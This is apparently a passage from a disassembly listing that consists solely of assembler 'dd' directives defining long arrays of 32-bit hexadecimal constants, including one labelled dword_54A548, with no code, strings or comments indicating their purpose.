		dd 9036DD90h, 63404EB4h, 0AD3158h, 64CB702Ch, 8199BC4Dh
		dd 8F862301h, 5B53D983h, 9D1EE9C4h, 9D95C0E6h, 8CC1721Ah
		dd 660ECDDFh, 8EC8F083h, 894D2F8Bh, 60018359h, 158D9533h
		dd 85C6B173h, 89EC67F5h, 0C0277CB9h, 4B6CE809h,	0CA39B8A2h
		dd 0D559F561h, 0AABB4181h, 78062916h, 4BF75BF3h, 79C054B3h
		dd 580005BCh, 40E11133h, 1237C781h, 0E3345E51h,	0BB560118h
		dd 6A70D36Dh, 899BBD2Ah, 0A40073D8h, 7C12D6CBh,	0F681229Bh
		dd 3C32A61Ch, 806E2077h, 2AFF599Dh, 0D6CABE37h,	0D2091646h
		dd 0B17D61B3h, 0A62BFEF5h, 301AB2FCh, 10004C39h, 260B08F4h
		dd 4A4DBD29h, 0C57CED35h, 0DAEBB7B3h, 25A6D37Ch, 429E170Eh
		dd 0EAF27BC4h, 0B508C0E3h, 295007A9h, 2AF12585h, 4228BD79h
		dd 0CAD5C73Fh, 0F5BDF9C4h, 840256B8h, 0B1668E7Dh, 94BA57F5h
		dd 0F72355Fh, 0EFC9329Fh, 7DA70871h, 56091013h,	891929BFh
		dd 25427CA4h, 0DD8AB255h, 0EEB47DF8h, 0D8EAFB25h, 0B017E3CEh
		dd 67EDD5A3h, 57359585h, 75B2EDh, 0A6275BB6h, 1F8E7D7h
		dd 0CD6BBAE3h, 3A06F31Ah, 634CAAE1h, 0FEFC8CD8h, 82D19A95h
		dd 56D4C07Fh, 3D8951A6h, 0B8EC35h, 7D7EBD85h, 0C6B7C4F0h
		dd 0F7EB811Dh, 890B74C2h, 39E9579Dh, 36203A96h,	7042AA63h
		dd 289700DBh, 3453160h,	0BF725750h, 711F104h, 6EBA965Bh
		dd 35E45BC1h, 92915D6Ch, 2FDCDAC9h, 5AF17C4Bh, 97794C5Fh
		dd 2DFEF65Ch, 6BD3A9C4h, 19181A59h, 0E6C86F16h,	4B6610AFh
		dd 0D30A3096h, 3A0014A9h, 0DEA0FE58h, 91040Ch, 0FF107D5Eh
		dd 0CD36B090h, 2DD98948h, 0A64ED30Bh, 0B8DF2525h, 9DD52494h
		dd 81503156h, 87ED2572h, 6212D065h, 0FAEDF3FDh,	2F001146h
		dd 8FB77926h, 1215E72Ah, 0BC4F0CD7h, 0B400AA5Ch, 5D1E76BBh
		dd 0D89806A4h, 791D6525h, 0FE853F5Ch, 0EB716ED4h, 3CA257CBh
		dd 2D3AF177h, 8A60805Ch, 0E8D3014Bh, 6D9800EEh,	243DCD34h
		dd 0D01650B7h, 0BAF8E082h, 0AF8EE917h, 9E9B7213h, 0A86AE980h
		dd 1724482Fh, 61097393h, 0E6E47502h, 9964D78Dh,	0FD4A14B9h
		dd 5BE8ECh, 8EAA7786h, 66EFC155h, 0E6D2BF0Ch, 4AC00A90h
		dd 1E9CF8C8h, 0DAAF6DF9h, 2F4B3B48h, 0F481B65Bh, 0C6F488BEh
		dd 26EBBE5Bh, 3713D0DCh, 6FEAEE1Fh, 0D9ED5ABBh,	0C810F83h
		dd 0FF99214Fh, 0DFC2F621h, 2BF0E8F3h, 1B8401A4h, 0F5A9D64h
		dd 5B923CBFh, 8B905E90h, 0ED3DB5D9h, 0E4DCE00h,	1D6A6840h
		dd 270F3021h, 3B78C053h, 0DFF9BF6Ah, 80632B8Bh,	0CA067212h
		dd 0BD95097Ah, 4972CF4Eh, 3FD863B3h, 1A9D4877h,	71AB626Eh
		dd 0C97B51AAh, 0CF9D7658h, 935F6002h, 4F021C50h, 4A947720h
		dd 0D11BE1E2h, 0E0D6A62Eh, 893C76h, 33F1AC7Bh, 0F5C5ED78h
		dd 44801497h, 292F5298h, 5F2DC8B5h, 4F024D6Ah, 1A90CFBCh
		dd 0F50F5522h, 936283D5h, 0F38B6009h, 904E296Ch, 0FE9C69DBh
		dd 0D949A507h, 0CF90E0ADh, 2955602h, 5D4169C6h,	5EB762D2h
		dd 0F81FDEA9h, 0B08E34C1h, 0FE2C7ED1h, 0E9161F02h, 651CDDE6h
		dd 0F8F94149h, 86B002C0h, 0D7B2A24Eh, 293F16C6h, 0FE200474h
		dd 0A6BB69B8h, 3430A484h, 138DE00Bh, 0D7339018h, 49BF60D0h
		dd 6B3B39CBh, 0F6201F50h, 0CD27785Fh, 6091C28Ch, 0C4675h
		dd 0FBABF181h, 3EBE3CD4h, 2D717F0Bh, 0DC997461h, 4A241846h
		dd 0C96C1FAFh, 1A7A5F52h
		dd 0D823F397h, 9F02D419h, 5251CB2Bh, 8976E2CAh,	553ADDF3h
		dd 0E16B8957h, 57F66A65h, 0C0C011CDh, 5883679Fh, 824B5731h
		dd 0CEE0D910h, 5BBF0F11h, 0F47ED1FDh, 0BA4EBE2Bh, 75D4AFC9h
		dd 93531677h, 59CCFBC4h, 183EF081h, 5A6F1026h, 96979D8Dh
		dd 894B4472h, 76A179F7h, 9C7CF4B7h, 9D183BB0h, 70E6BDA1h
		dd 0FAF100B5h, 0BD71E417h, 0F54A4B5Eh, 89083205h, 23F030ABh
		dd 1A5BE9BDh, 8B72E1A3h, 2A3C6C41h, 0A7DF0420h,	796E13EBh
		dd 20C0F82Fh, 0C35F4B35h, 0ADCBBFA6h, 6BA16D8h,	760D9A95h
		dd 12152659h, 9A2F230h,	7866EB80h, 0FE8A03A1h, 0F56C82Bh
		dd 5D5221E5h, 8B678719h, 3D922BD1h, 0B794A712h,	0AD601408h
		dd 9819D839h, 6AFE7425h, 4C44F681h, 8B02FFC6h, 70091F8Dh
		dd 0C5C0B7AEh, 0B98825A5h, 619C2E4Dh, 7E700D59h, 0AD5AB826h
		dd 1C9466FCh, 0E496B261h, 4B02CBBDh, 99573039h,	16140ECEh
		dd 6B23AFA6h, 16175F5Eh, 88EABD88h, 30E48013h, 33531708h
		dd 4365A207h, 0ECB09AD7h, 97C1913h, 93F1BDDh, 5B120AD9h
		dd 33CA29BBh, 935400DEh, 0AA59DEF7h, 0BC6D0450h, 0BD85E439h
		dd 4ED090BEh, 0CA16EA5h, 9ED2C9Dh, 0AC7BC37Dh, 0ED9B8A05h
		dd 0B080C79Eh, 0F4CDF5F7h, 0D1075700h, 45BB3C80h, 4F2C12A1h
		dd 89F36Ah, 0A024983Fh,	2EF1784h, 0FC396437h, 0C05EB12Ch
		dd 4EFFA66Ch, 0AC26F9CDh, 349B31Dh, 0EFFC4265h,	2D5A2E98h
		dd 0AD969524h, 0A74DB100h, 41D4B959h, 858D3F10h, 72EE765h
		dd 4B9D33CCh, 2F28B2Eh,	0B8083628h, 4714DFh, 9E241E3Fh
		dd 35C364B1h, 39A3775Eh, 17EB8100h, 5B1957A7h, 7D85E295h
		dd 0B2001ABDh, 0F0340A06h, 25BB0475h, 0F808E667h, 0DB312D27h
		dd 3D246930h, 4BBF011Ah, 77F68F17h, 894BE966h, 4A7C8BA3h
		dd 4F7CF7B4h, 0A79E4F9Ah, 7B7D6D10h, 0B8E07002h, 60C04B6Bh
		dd 0BB1B504h, 0DF749EF1h, 46D6EE74h, 0C980001Ah, 0E25B53FFh
		dd 9B32F64h, 0B15CC05Eh, 6EC00E20h, 0CA40A001h,	0ABAB4494h
		dd 715FAA4Bh, 32D80002h, 81FF87F7h, 0DC1D4909h,	469B795Ch
		dd 9F9E2F97h, 8C700BDCh, 2F021CA0h, 0F1F702C5h,	4000BBDEh
		dd 897301EBh, 2F4EC59Dh, 57CF17F9h, 824956FFh, 0B5575FB6h
		dd 811D91AFh, 22C9ADBCh, 0CACC5FF1h, 9438EDFEh,	0E6E1FF16h
		dd 63B4E002h, 9A27C60h,	0B576F0DFh, 0D945A279h,	4AECD1EDh
		dd 0C8A73607h, 3FD2202Eh, 10EA7646h, 13293B12h,	38BB2439h
		dd 0EF9FB7E4h, 519260EFh, 72253DBBh, 0B510D7F1h, 110E0C41h
		dd 9293684h, 385E56D5h,	0AC61509Dh, 0EFC525B4h,	0CC503C11h
		dd 50E27A32h, 512887h, 0B768CF81h, 605B523Dh, 0B078AEBBh
		dd 0EA8A0267h, 0B6B3799Ah, 40027066h, 993B2CDEh, 60CC6086h
		dd 86F9BD89h, 8A15F13h,	31800DD9h, 0FA8EC9E1h, 0FB01A440h
		dd 71E3C52Fh, 43A7EAEh,	0BDDC8A02h, 848A7AC7h, 0A35261B6h
		dd 0E4F04EECh, 8096971Bh, 4D418BCh, 0FF49CA6h, 0F8F9D88Ch
		dd 0FF3B8B9Fh, 240406A2h, 5B00F846h, 0EBFFD1ACh, 3521D3A6h
		dd 838083BFh, 0AC848118h, 200EF2CFh, 0C4165A41h, 5F8E5400h
		dd 2B9308CCh, 95AD7CBFh, 9E265890h, 3F5E8303h, 0E8A13368h
		dd 12B8C973h, 0B450C58Ah, 0FE0BBBE4h, 7644D180h, 8A703B3Dh
		dd 0BF60E754h, 793EC00Eh, 7033E115h, 8DCECA00h,	0AD062F26h
		dd 0DE388E98h, 0F242CA5Bh, 7D58D88Ah, 1A017E37h, 0EBEE2F9Eh
		dd 0EFCB06Eh, 1DDD3BDh,	0A498BF70h, 4BDD2A93h, 0BFB4F426h
		dd 98012298h, 41124192h, 6ED91791h, 15A0DB8Ah, 0F50BD617h
		dd 77312E66h, 0E891E0EBh, 0C5DE2B01h, 0F35A0C80h, 6109E7C6h
		dd 0DF7B1EECh, 64441C15h, 1BB96BC1h, 0D28EB26Bh, 5280889Ah
		dd 0F9891A43h, 8E922h, 5A11EAEBh, 5F61B8C6h, 60D98B04h
		dd 0E485EC8Ah, 57DAA862h, 16C456CDh, 0B3E37F60h, 0F209514Bh
		dd 8024D15Fh, 0F0689F5h, 0E59F098Ah, 0D9BF89C5h, 8F0223B2h
		dd 0DF092EB1h, 11F4B118h, 0C8FDBC00h, 30FE6864h, 77B22802h
		dd 4460390h, 23A19D31h,	0AA81395Fh, 0B1362434h,	7905FFF0h
		dd 7012947Eh, 0F5F31FB3h, 681C3D49h, 0AE37529Ch, 9F638480h
		dd 882AEF28h, 470EA5ABh, 80DE7DD4h, 541A94C7h, 0E29C00F4h
		dd 177FC4CFh, 8E17DB40h, 7EAE858Dh, 0ACF60032h,	8D1ABFE2h
		dd 0A27560BAh, 0E19D03F9h, 0F7AC085Ah, 0BAA0608Fh, 8D0F1F01h
		dd 5549B096h, 0C5B7A5E6h, 32440242h, 0E4FD1ECBh, 0B1E85CC2h
		dd 53B9D2C0h, 0D0FBE6ADh, 810F74CEh, 0A4E8C5F7h, 22DB5F2Ch
		dd 0BDC51488h, 0FF82A0h, 0A4EF80A0h, 6D9D2361h,	39BA2E4Ah
		dd 0EB282B8Eh, 57C2E16Fh, 52EBD14Dh, 7D072516h,	0F649695Ch
		dd 737972EAh, 98BDE700h, 61492312h, 0E58DE83Fh,	2EE82F1Ah
		dd 0B865EDD3h, 485A015Bh, 0BFBACFD8h, 2F4C2562h, 0FE00C3Ah
		dd 93B6FAB7h, 8AB20EDCh, 92407E77h, 28E679C7h, 4E215897h
		dd 0D22CBB26h, 0CE988A62h, 0C91DD748h, 37404FD4h, 231C84C7h
		dd 446B0073h, 0E2912059h, 2391E932h, 5CF0096Bh,	7900F4FFh
		dd 7754BB62h, 0B67EC98h, 0FE8AE3C6h, 0BE614198h, 50399000h
		dd 0DFCB7942h, 265C09F1h, 7A021A58h, 5B0319A9h,	1E54BF09h
		dd 0AE5474ABh, 6A3E88DDh, 0DF480457h, 0A1BCBB54h, 0ED54FD4Eh
		dd 25FE01F8h, 30703FAFh, 62F90E5Ah, 0A3B315BCh,	96BAD805h
		dd 562F33FCh, 0B10BE754h, 0F0ADA337h, 96ACEC61h, 57DCAB92h
		dd 961B0701h, 0AF8599BBh, 0B204EBD7h, 0F50B1609h, 71C9835Ch
		dd 409C1F38h, 0BBAB919Bh, 0F81C55FFh, 0A88969E1h, 0BE66D1ECh
		dd 0B2F7F64Ah, 0E8E43314h, 20BFC059h, 9D64F126h, 0FB5B3D1Ah
		dd 35181959h, 0D46A0D00h, 0BB6684D6h, 855C4E04h, 82DCDB56h
		dd 60226970h, 4E64EBD8h, 0AF7485ACh, 128AE62Ah,	29B505D2h
		dd 0CDE3EE1Dh, 6B243100h, 6130D387h, 64F34DB7h,	0D8F26418h
		dd 15B58905h, 8977EC26h, 0E1264D6Ah, 0C05B9946h, 0C9171B17h
		dd 13EE30F0h, 0BBD053F3h, 4F8F392Ah, 0B4DCD60h,	8FA691B5h
		dd 0EAAD5D2Dh, 0F8D1758Fh, 211BDFA5h, 667D60DAh, 51571CA6h
		dd 5096435Bh, 1A090B7h,	94A2D9Dh, 1CBCADF9h, 0C20B048Ch
		dd 0BDEE8780h, 5E8E4CCDh, 5DFC7D92h, 0FD527EDBh, 0B04EB94Eh
		dd 4422E78Ah, 4A8EEEC8h, 7E1E0B7Dh, 509D86C6h, 6129402Eh
		dd 80727995h, 4AB636FBh, 0EC07647Ch, 654D2F93h,	69433760h
		dd 0A6131683h, 0DAC80253h, 91DD5F5Bh, 215052Ah,	8DB2F790h
		dd 50B96557h, 8B00CC30h, 117FEE3Bh, 0CBFD115h, 4D2A125Ch
		dd 0E5EE1C4h, 15BCC8EDh, 0F2093293h, 5905FBB4h,	0B8D1814h
		dd 21059501h, 0DD27E352h, 91B94E0Fh, 0E1D380DFh, 2EE53CF2h
		dd 0CFE33B04h, 0AEE87C9Fh, 0AE9833A2h, 0D04E7BD7h, 706C878Dh
		dd 92039980h, 7313BA1Bh, 60BF3C50h, 7B66E854h, 56BA834Fh
		dd 17D9088Fh, 0A4EE5A30h, 8F614E59h, 0C8DA4A7Fh, 0FDBB1180h
		dd 4D4AA6BDh, 4744DD13h, 82181D29h, 61811BFDh, 0C26E32E5h
		dd 2A0CF80Bh, 0AFE5D9C5h, 0FCF8513Dh, 41533A61h, 0D27AEFh
		dd 0FCA75A28h, 2D088602h, 12F7509Dh, 46C06209h,	14090536h
		dd 0FE499ADAh, 0A87FB5B1h, 0AEFC93B1h, 19717FD4h, 987ABEA8h
		dd 0B1BD2AFCh, 0D83E43BCh, 8B0810C0h, 0FAC20920h, 57EE302Eh
		dd 8CE1E94Dh, 0B92AF668h, 8F584A8h, 0FE934CE8h,	0C5F21367h
		dd 17F291Ah, 5F0A3A1Ah,	5B36Fh,	3EAA478Bh, 1AB5AD4h, 66E6DF4Ah
		dd 26903B99h, 8036F020h, 25C13CEBh, 40E8BB02h, 2FC01AF1h
		dd 98BD0DCDh
		dd 2D9D2906h, 49D33069h, 0C225F0A4h, 964F5DF9h,	98A89D61h
		dd 2009673h, 3D88CD41h,	0DCFBD2F1h, 58091E8Bh, 56FF4CA2h
		dd 15509D3h, 66C0615Ch,	0F63C35h, 0D487162Fh, 0FBCB253Dh
		dd 0AE7D6412h, 9788F8F2h, 4995BF81h, 58BE68A0h,	9304EC5Eh
		dd 0C7E0B2F6h, 5302C812h, 8BFCE6F2h, 5FE883FAh,	0BEBBF8F5h
		dd 0CD114CEAh, 9273042Fh, 0C7B75478h, 5085CA38h, 0BBD56DCBh
		dd 0D3FF9B12h, 0D27DDAFAh, 689AD771h, 1D2ADFF4h, 8738AF0Bh
		dd 0A92B66CFh, 0AFF10104h, 0FF38B538h, 8E5ADB05h, 99B52229h
		dd 0CFB9571Fh, 0D1A16B33h, 56834738h, 0E98D5F53h, 41871374h
		dd 839B1735h, 632FC0DFh, 983F4EEDh, 6EB28161h, 8CFF1946h
		dd 5F127BF3h, 25D4F65Bh, 90B3ECF5h, 974178ADh, 60ED90BAh
		dd 0B2AFFAC5h, 0CC312CCEh, 5E370B25h, 0CC12F45Eh, 9E346022h
		dd 718DF6BFh, 0F9ABBF02h, 589AAFF3h, 0F2895A6Ah, 67BA4EF4h
		dd 47795933h, 120DED08h, 78C1ABB0h, 326C70E6h, 0ED646B80h
		dd 1F04CB39h, 71E4444Bh, 2A981C1h, 1371322Fh, 40F5D62Bh
		dd 7D4C118h, 7845440Bh,	89DF023Fh, 5176290Bh, 0D7D5DFE7h
		dd 932388AFh, 8904F343h, 0BA15799Dh, 1A41C37h, 85201236h
		dd 0D3801634h, 4F4CE98Fh, 2B5445EAh, 90E3EAC8h,	881950Ch
		dd 30BED157h, 0BF00DB4Ah, 0AD58DF9Ch, 1CEB3F4Dh, 7147A1A8h
		dd 0D8204585h, 55324C50h, 0C6E18447h, 0BA1ED71Ch, 5A095810h
		dd 0B500E4F3h, 0CF5B1ECCh, 0F501EA27h, 73F1EC42h, 726074D1h
		dd 79A597F7h, 0C008FD33h, 6D382470h, 4E4CFED4h,	0BAB3D822h
		dd 3359891Eh, 8CCD4664h, 5FF54E7Bh, 0B5F43AA9h,	4B164163h
		dd 669E8C1Bh, 8197BB13h, 9C38AEEh, 7419E59Dh, 89F95036h
		dd 788A9556h, 30A22B5Bh, 25AC5E84h, 0D2FE3AAh, 331841BDh
		dd 0FD067900h, 0B1E25Ah, 0DDBAA568h, 0C251DB39h, 0B6EAFE00h
		dd 0AD8486D6h, 0A7235BB9h, 0D488B015h, 9667033Ch, 0AE2D7DDDh
		dd 92FCFC2Fh, 56D97DD9h, 10E9D6A5h, 0FC5F132Ah,	0E6921B9Bh
		dd 89833DBAh, 0C298CB80h, 0BECF7571h, 0E0005B4Ah, 0F2EAD2BBh
		dd 0F8294A57h, 7DE192F9h, 0C0ACDE7Ah, 0A0A62612h, 9C0C04B6h
		dd 0BC75FB9Ah, 42F5F276h, 0CC135DC5h, 2B0B81B1h, 9831F2D8h
		dd 0B2175F48h, 989AD298h, 0FB43A981h, 0F7BD6ABCh, 3B678D4Bh
		dd 0FAF514B2h, 0F100D46Ah, 0EE9D9042h, 0EA0412E9h, 0FB8BAFB2h
		dd 86EEAh, 5F6FE686h, 0A06EF0E7h, 95150D9Ch, 23C460D9h
		dd 11AF8B4Fh, 1164BB77h, 35917781h, 0CFCCE93Ah,	0E75273BDh
		dd 6B109EB9h, 84E8B761h, 0B874F380h, 25ECA2CFh,	25C98052h
		dd 7A4A6F74h, 0A1BD28AFh, 0B2D8045Bh, 60090025h, 2A2811C8h
		dd 0F495DF8Ah, 0A6D76F97h, 80BDE03Dh, 880997F8h, 17C061CDh
		dd 2B00DCBh, 7A9A75ADh,	11FF23C5h, 8B4480ECh, 0B4D239F8h
		dd 0FD8A92A4h, 8BAF59F1h, 0F1BD7D81h, 0B6A15B0Fh, 0DDAAEB16h
		dd 0A80B69BCh, 0E21F8A7h, 516F641Dh, 0A9E4DBC0h, 5B2F4D46h
		dd 4B809050h, 117C002Dh, 0C7E00554h, 93B86997h,	0EA002E99h
		dd 49EE3D7Fh, 5CD4B51Ch, 2A5B957Ch, 5707BA5h, 0BA6A49ACh
		dd 0B1E746E6h, 0FCF96DA7h, 2912D1F7h, 0CF20957h, 0A800FC8h
		dd 0FBB6D970h, 80380161h, 6774E65Dh, 33FA61DEh,	6CDD00C0h
		dd 1B4EB1A8h, 0DFBE0076h, 5808DB4Ah, 890509DCh,	0E468BA8Eh
		dd 5FCB31ABh, 1B89285Bh, 0F416DE8Bh, 5EF204F1h,	0A4B36315h
		dd 0F8BB00DFh, 76483DD2h, 21EC9209h, 0F95ED927h, 41646D6h
		dd 31B9E0B7h, 64495A85h, 0B5EFD589h, 13ECDDCBh,	7C90C2B5h
		dd 87F9C099h, 690029C1h, 6D712079h, 9796E813h, 9DFB81Ah
		dd 0C99C5953h, 8A50DBD3h, 580125AEh, 0EE090BD6h, 0BC847014h
		dd 7000F677h, 6FF1D0F5h, 272BD3BBh, 995D7E23h, 4CA4D725h
		dd 9D030566h, 89D64569h, 0ADC18206h, 74D18EAh, 276019C4h
		dd 58139D82h, 3416715Bh, 0B43DDCBFh, 5C0FB9Dh, 0CFE07Dh
		dd 0F08E1FA4h, 0B601B44Fh, 97CE8160h, 0B93E6AF9h, 71848961h
		dd 0C2602521h, 0C309EF81h, 7D167994h, 3A70D818h, 39F28C03h
		dd 0BAA8EF82h, 0D8D95F94h, 9AD874Ah, 70E5D397h,	0FA0B831Ah
		dd 5EE43CE3h, 1D46D6BEh, 0A20ADC00h, 27551C16h,	935A3073h
		dd 819DAFC0h, 10F99512h, 90BE56E0h, 61AF032Bh, 5800F59h
		dd 2E0F257Ch, 0A95D1743h, 0FDD6450h, 0E3BD284Ah, 38A83D20h
		dd 5F048D31h, 0AB166B35h, 0FBB01C8h, 70D96919h,	0DACBC232h
		dd 90970444h, 4BFB3DFh,	58E88FE5h, 2C5EFF8h, 0EF8276A8h
		dd 7A75CA04h, 0CD9C0148h, 25C6D135h, 0D8B83A06h, 5AF78A04h
		dd 0D24EBC61h, 0BB9019C0h, 0E7F409C0h, 54AB5017h, 805CB77Fh
		dd 8B1336DEh, 0C295AC90h, 0D35F4281h, 3050D156h, 9D0B198Dh
		dd 0F34FBFFDh, 938B1030h, 0E0DCB04h, 0F97C6109h, 0BCCD1FDCh
		dd 0FE38466h, 0E58BAE49h, 41DAB0A5h, 4CE32B5Ah,	0B4641089h
		dd 9283497Bh, 4997120h,	0BC446FF3h, 0ABD6EB04h,	5ADB48CCh
		dd 2C776F1Bh, 2109115Eh, 0C4037932h, 99265850h,	89B0A729h
		dd 0BDD7043Dh, 0C480181h, 2B317FCEh, 884F938Ah,	8A009DD3h
		dd 35C57108h, 9D5101D9h, 187263F3h, 0F250CF3Eh,	848C4BFDh
		dd 0EC27A9DCh, 0EC270271h, 0D3329C64h, 5BEBD85Ch, 6A42512Eh
		dd 4A5EB4C0h, 0F571550h, 0B682FC87h, 0C6775BACh, 1F7F006Bh
		dd 0D5EFE5DFh, 470E4479h, 0C12E935Dh, 0C2BAA86Fh, 2538E32Fh
		dd 5446715Fh, 749776E2h, 0F000FEDEh, 0BFE69D18h, 568896CAh
		dd 15E2C726h, 0A09E3C30h, 9720D69Fh, 0F4FEDF74h, 694800C1h
		dd 2FDD286Ah, 619D0D77h, 51001C87h, 355B9D29h, 274E52C6h
		dd 8BDC486h, 0FF4A4B80h, 0B8A6E6Ah, 4787CF3Bh, 9925D1DCh
		dd 3DD801E7h, 38F3BD0Eh, 0C4371852h, 0E62AFFFFh, 0D59F41C0h
		dd 47172F96h, 973A8E6Eh, 0B5296C09h, 0C240434Ah, 0F1B52DCDh
		dd 1FB56BB7h, 628B5501h, 302F34E5h, 0B59D0B62h,	0BD2FED9Ch
		dd 706E0192h, 252EA93Dh, 48F77B94h, 87F85BB2h, 0CDA1E895h
		dd 37B9F02h, 3129D0h, 0EC37E7ACh, 5396E994h, 0F78112BFh
		dd 0C69D6C72h, 2FE007F7h, 40B1EBD0h, 0BF4CCE5Bh, 0D6FC401h
		dd 10BDAF8Ch, 50C55FE1h, 0BF969170h, 0D99DB96Ch, 666D2537h
		dd 0E6631564h, 23F380F8h, 7C58BA97h, 7D4BD473h,	242257CAh
		dd 9852917h, 0B7500A42h, 882A5EA1h, 0BB410482h,	0B5786A7Ch
		dd 938E4081h, 8AA0E851h, 0FFC9DD29h, 8B192556h,	89F4A55Fh
		dd 2B47F5FBh, 16B24FA6h, 58215630h, 0DB58D6E4h,	774984C8h
		dd 648B8F66h, 80343040h, 7BA3D32Dh, 13978896h, 85C33859h
		dd 3E6FAEh, 0F9DA0D25h,	12B2EFACh, 0F3414662h, 0B6B4C38h
		dd 90C60595h, 0B52A09D7h, 818077E7h, 9A5A75E7h,	4AF3F85Fh
		dd 919BAAF2h, 0C18BC6C3h, 0C7358009h, 0D64374F9h, 0A7001646h
		dd 8AFC322Ch, 0DC9590DAh, 50DEC16Eh, 33B2353h, 1ADA9407h
		dd 0E32FC89Ah, 905F1723h, 28DBBBF8h, 0C033AAD3h, 0AA9280F0h
		dd 16A817DBh, 4F34BEBAh, 920073A2h, 77B88C68h, 7E0FE41Ch
		dd 406D84C6h, 0C92AD151h, 0C31B05C1h, 425DBD0Bh, 6A5F5BCBh
		dd 726A5B7Fh, 0EA203854h, 6FCF5481h, 0C940ABDAh, 0EE402FA9h
		dd 99E09AEDh, 4B989B62h, 0EFF72490h, 25357F14h,	5B2D44FDh
		dd 8454DB05h, 2008892Eh, 6D93031Dh, 95139B5Fh, 0C7BE0024h
		dd 5022009Ch, 0BF09BA60h, 0D6567B79h, 0EEBE0428h, 0D2021F61h
		dd 0DD769D82h, 2708020Ah, 4A02DFBDh, 4622D243h,	0E101000Bh
		dd 0B43F5A50h, 0F81E16A6h
dword_54A548	dd 0EA855B28h, 0E4A2562Fh, 0D3DCBA07h, 0C87F9B37h, 0EB4D9E0h
		dd 5F5DF728h, 28DCAD3Ch, 0C9C001F4h, 57C16D3Fh,	3C03E04Ah
		dd 2420BF00h, 0BD317961h, 94709511h, 0AB2CEDB5h, 10EC583Fh
		dd 31CA5413h, 0D94029F2h, 6F2365EDh, 4BB5BCD1h,	7225A08Ah
		dd 2BE073D4h, 3E49242h,	0BD38D464h, 95B293F3h, 5B92487Fh
		dd 26A31F9h, 2298562h, 59D1D790h, 8BB10F00h, 5C1412Eh
		dd 3EE04623h, 5BF5EBB2h, 6E6E0821h, 1B10ECCh, 1AC63DF9h
		dd 5DD6ED7Fh, 608E43DFh, 9B7E0C33h, 0F107B7E0h,	8EE08061h
		dd 5D92E942h, 0B320721Ch, 85891340h, 311B80B5h,	344B418Dh
		dd 0FB3030FFh, 0CB00E583h, 0AB312E3Bh, 2739639Bh, 59C48DB1h
		dd 0EA838A00h, 154BDE59h, 0CBA61693h, 0BC29BE82h, 99A8CC29h
		dd 0A8F05100h, 50C50CD5h, 21330BBBh, 0AEC24AFFh, 97E4C65Fh
		dd 4F36F32h, 67A9D073h,	0E0182DBDh, 42F38C1h, 9B1260F8h
		dd 849AF25Fh, 0F80923B1h, 0BF8F9B79h, 4710C5C7h, 31434ABAh
		dd 0B28A4AEh, 0C9901FA9h, 0A2BF1735h, 7534C9F9h, 0B47D0A32h
		dd 80950491h, 0BD61D2D0h, 9557886Bh, 5C002353h,	0EABC68A2h
		dd 1D093D3Ch, 751EC628h, 5F4A64C6h, 2C5FBF5h, 714BE408h
		dd 16683C8h, 0BA4332ACh, 2FCD26CBh, 881D7B48h, 0A38013E8h
		dd 8FF5E9CBh, 0B1DCB578h, 4F318A60h, 8CAE2E6Fh,	0CE509A8h
		dd 9869F35Eh, 146BAADh,	0A3A4A869h, 0E6F10B29h,	0B7048FE6h
		dd 0F58D09FFh, 390CA95h, 0A8AE82BBh, 1F86E27Dh,	806CF3E8h
		dd 0D7A7DBF7h, 620263EEh, 3977ABCDh, 0B920DD1Dh, 0BB15DF81h
		dd 0EEE22ACAh, 107E908h, 8501C82Bh, 935ECEB9h, 0EB53A244h
		dd 0FE2B381Ah, 0B090841h, 0FE4E037h, 66C16109h,	6C44C14Eh
		dd 0BDE28086h, 5BD465h,	21681DFDh, 7BD6F5C6h, 0E08C9325h
		dd 1CEF80A0h, 0C6CF811Ch, 1854AE9Bh, 0A497F8E0h, 6CCA238Eh
		dd 5965F01h, 6B8AEA9Ah,	89C161ACh, 2F13998Dh, 0DC3E814Bh
		dd 2EEF62E2h, 0C46C7E5Eh, 0F91D5AD5h, 0D54097CDh, 0EFC9BBF5h
		dd 0D8394B19h, 2409BF80h, 87F70B2h, 813D7C79h, 432D0777h
		dd 612FF98Bh, 4BB8185h,	0F37A2D8Dh, 7D6A8BC1h, 9013FC30h
		dd 0F862E400h, 0AB569254h, 0B52B1CA6h, 59B67221h, 2E85C040h
		dd 0DA2B6181h, 0C018C8E2h, 2AE61B9Eh, 0EF0281F6h, 1C2B6A5Ch
		dd 0ABC4FF23h, 0F162B92Ah, 2589EDFBh, 0A2132E08h, 8300B76Fh
		dd 5271075h, 33096D91h,	7CFCB414h, 2100DCB7h, 4731F214h
		dd 49C5B509h, 884A5E0Ah, 95015A75h, 0CA2D019Dh,	4CCCA85Fh
		dd 0FA894F7Bh, 185BDF49h, 0EEA9BD5h, 3B4782A1h,	6136C1A2h
		dd 2EB4E970h, 2D4132F4h, 40F89698h, 260405E1h, 98AE2629h
		dd 0BD1303DEh, 8BEF2AA5h, 865CF034h, 3E050032h,	81617C9Dh
		dd 277E07EBh, 2F89644Ah, 217D9C2Eh, 2D40B900h, 7BFDC153h
		dd 0B122FF0h, 8600F2B7h, 0BB6707CDh, 46DB7FBh, 0AA601D44h
		dd 0EF009A78h, 7131B470h, 9DFCD42Ch, 49D4C176h,	3A804E18h
		dd 0A0096590h, 687CBB04h, 75BA3C35h, 6F6AEB9Ah,	34C72705h
		dd 66CBAFFCh, 5EA1E6B5h, 291DA9E7h, 0AF171395h,	5B998Ch
		dd 8202E09Ah, 0C0589C2Ah, 797BA401h, 91DAF572h,	7841283Ah
		dd 8E1D7986h, 27DCD8B4h, 584648DCh, 8E809391h, 0C802F639h
		dd 7C7F0123h, 0FF06A34Bh, 0B8996DE1h, 5DE2006Ah, 6EB1C880h
		dd 66EC0327h, 1F4FBF7Ah, 0D7FE0EC9h, 0E8239D8Eh, 288A23CCh
		dd 4C519674h, 44DBFA14h, 0F3DDEA96h, 36B7282Fh,	51AF5E8Ah
		dd 3D55D2F3h, 0B6CE0081h, 0DA8EE952h, 0BD31601Fh, 21562D16h
		dd 11B13407h, 8D53BFC0h, 85224E2Bh, 0BF6EFFAEh,	0EB67B701h
		dd 0D94990AEh, 0A7133A25h, 0E8825F9Bh, 0CD719ABBh, 6472CE00h
		dd 0E1C98Ah, 9DAEEE08h,	6CC1802Ch, 0D391F54Eh, 0F72B0168h
		dd 6549A083h, 0CA1158F8h, 0DAEC3DC0h, 26E0C402h, 0FF662400h
		dd 290FC781h, 822BE774h, 0CFDD559Bh, 0AF26605Bh, 1B27DAF7h
		dd 4A4462h, 0D3301596h,	0C884030Bh, 0D0316502h,	575D34FDh
		dd 2B98FFC6h, 4E307D20h, 3922DD5Bh, 8BDA821h, 19358529h
